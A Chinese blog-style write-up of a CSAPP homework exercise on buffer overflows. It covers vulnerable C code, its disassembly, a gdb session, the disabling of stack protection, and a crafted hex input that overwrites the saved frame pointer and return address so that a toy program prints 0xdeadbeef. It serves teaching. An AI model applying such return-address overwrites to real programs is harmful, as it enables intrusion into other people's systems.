使用系统环境为：ubuntu10.04 2.6.32-27-generic gcc4.4.3
这里先放出实验代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 | #include <stdio.h> #include <stdlib.h> #include <ctype.h> char *getxs(char *dest) { int c; int even = 1; int otherd = 0; char *sp = dest; while ((c=getchar())!=EOF&&c!='\n') { if (isxdigit(c)) { int val; if ('0'<=c&&c<='9') val = c - '0'; else if ('A'<=c&&c<='F') val = c - 'A' + 10; else val = c - 'a' + 10; if (even) { otherd = val; even = 0; } else { *sp = otherd*16 + val; even = 1; } } } // *sp = '\0'; return dest;} int getbuf() { char buf[12]; getxs(buf); return 1; } void test() { int val; printf("Type Hex string:"); val = getbuf(); printf("getbuf returned 0x%x\n", val); } int main() { int buf[16]; int offset = (((int)buf)&0xfff); int *space = (int*)alloca(offset); *space = 0; test(); return 0; } |
其实这是《深入理解计算机系统》里的一个家庭作业，根据以上代码可以看出getbuf()函数在正常情况下无论怎么调用都会返回值1。任务是只简单地对提示符输入一个适当的十六进制字符串，就使getbuf对rest返回-559038737(0xdeadbeef)。
不过在目前的内核和编译器下要直接对原程序进行栈溢出攻击是不可能完成的了。现在的编译器对代码做了一些防止溢出攻击的保护措施，如%gs:0×14。每次运行程序时它都会随机产生一个类似验证码的值，当函数返回时它会验证此验证码是否被改变，由于它验证码的存放内存位置位于buf数组和保存在栈上的%ebp之间，只要数组一旦越界写入的话就会被改变，这时候也会触使保护代码运行。
不过我在编译时加进了-fno-stack-protector选项，这时候是不产生任何栈溢出保护代码的。
以下是源程序反汇编所得的主要汇编代码：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 | 08048569 : 8048569: 55 push %ebp 804856a: 89 e5 mov %esp,%ebp 804856c: 83 ec 28 sub $0x28,%esp 804856f: 8d 45 ec lea -0x14(%ebp),%eax 8048572: 89 04 24 mov %eax,(%esp) 8048575: e8 2a ff ff ff call 80484a4 804857a: b8 01 00 00 00 mov $0x1,%eax 804857f: c9 leave 8048580: c3 ret 08048581 : 8048581: 55 push %ebp 8048582: 89 e5 mov %esp,%ebp 8048584: 83 ec 28 sub $0x28,%esp 8048587: b8 e0 86 04 08 mov $0x80486e0,%eax 804858c: 89 04 24 mov %eax,(%esp) 804858f: e8 38 fe ff ff call 80483cc 8048594: e8 d0 ff ff ff call 8048569 8048599: 89 45 f4 mov %eax,-0xc(%ebp) 804859c: b8 f1 86 04 08 mov $0x80486f1,%eax 80485a1: 8b 55 f4 mov -0xc(%ebp),%edx 80485a4: 89 54 24 04 mov %edx,0x4(%esp) 80485a8: 89 04 24 mov %eax,(%esp) 80485ab: e8 1c fe ff ff call 80483cc 80485b0: c7 04 24 07 87 04 08 movl $0x8048707,(%esp) 80485b7: e8 20 fe ff ff call 80483dc 80485bc: c9 leave 80485bd: c3 ret |
这里主要需要进行getbuf和test两个函数汇编代码的分析。
分析可以得出：test调用了getbuf函数，getbuf将0×1传送到%eax做为返回值。test将返回值赋值给val，最后以16进制打印出来，这个结果在正常情况下无论如何就只是输出0×1。
这里通过汇编代码我们可以发现两种思路，一种就是在getbuf中输入字符串时，覆盖栈中保存的%ebp值（跟原先的值一样），返回地址（使其直接跳转到test汇编代码的call 80483cc 这一句，以及返回地址上面的8个字节%ebp+4、%ebp+8(这两个是做为printf的两个参数）;另外一种就是往buf里注入一段机器码（这段机器码主要是将%eax赋值为0xdeadbeef），当然这时候也需要覆盖返回地址，使其跳转到注入的机器码的起始地址，不过这种方法在目前的内核下并不可行，会引发系统某种保护机制而失败。
这里主要研究第一种思路，下面可以看下test和getbuf的部分栈的组织图。
getbuf里分配了40个字节的空间，不明白为什么需要这么多额外的。
这里主要需要获取%ebp的值，以及call 80483cc 这一句的地址（这个可以从汇编代码里得出为0×80485ab）。
%ebp的值需要调试运行在getbuf函数里面下断点读出。
用gdb调试过程如下：
GNU gdb (GDB) 7.1-ubuntu
Copyright (C) 2010 Free Software Foundation, Inc.
License GPLv3 : GNU GPL version 3 or later
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type “show copying”
and “show warranty” for details.
This GDB was configured as “i486-linux-gnu”.
For bug reporting instructions, please see:
…
Reading symbols from /home/colaghost/Desktop/test2…done.
(gdb) break *0×804856c
Breakpoint 1 at 0×804856c: file test.c, line 42.
(gdb) r
Starting program: /home/colaghost/Desktop/test2
Breakpoint 1, 0×0804856c in getbuf () at test.c:42
warning: Source file is more recent than executable.
42 {
(gdb) print /x *(int*)($ebp)
$1 = 0xbfffefd8
这里得出保存的%ebp值为0xbfffefd8，下面可以得出要返回0xdeadbeef的字符串。
首先是输入任意40个十六进制字符填满char[12]和额外的8个字节，继续输入保存的%ebp的值，返回地址0×80485ab,printf的第一个参数的存放地址，即 0×80486f1，最后是我们要打印的字符0xdeadbeef。
最终得到的字符串就是这样的：
b8ef bead deba 6985 0408 ffe2 0000 0000 0000 0000 d8ef ffbf ab85 0408 f186 0408 efbe adde
后记：最先由于%gs:0×14，以及系统的一些保护机制，在正确的思路下花费了一整晚的时间都没有任何进展，一直是以sementation fault告终。第二天上午在gdb调试运行状态下才算成功得到返回值。输入同样的字符串，在gdb运行状态下可以得到返回值，并且显示程序正确结束;不过在一般运行状态下test方法返回后一直出现sementation fault的错误，到现在都未找到实际原因。
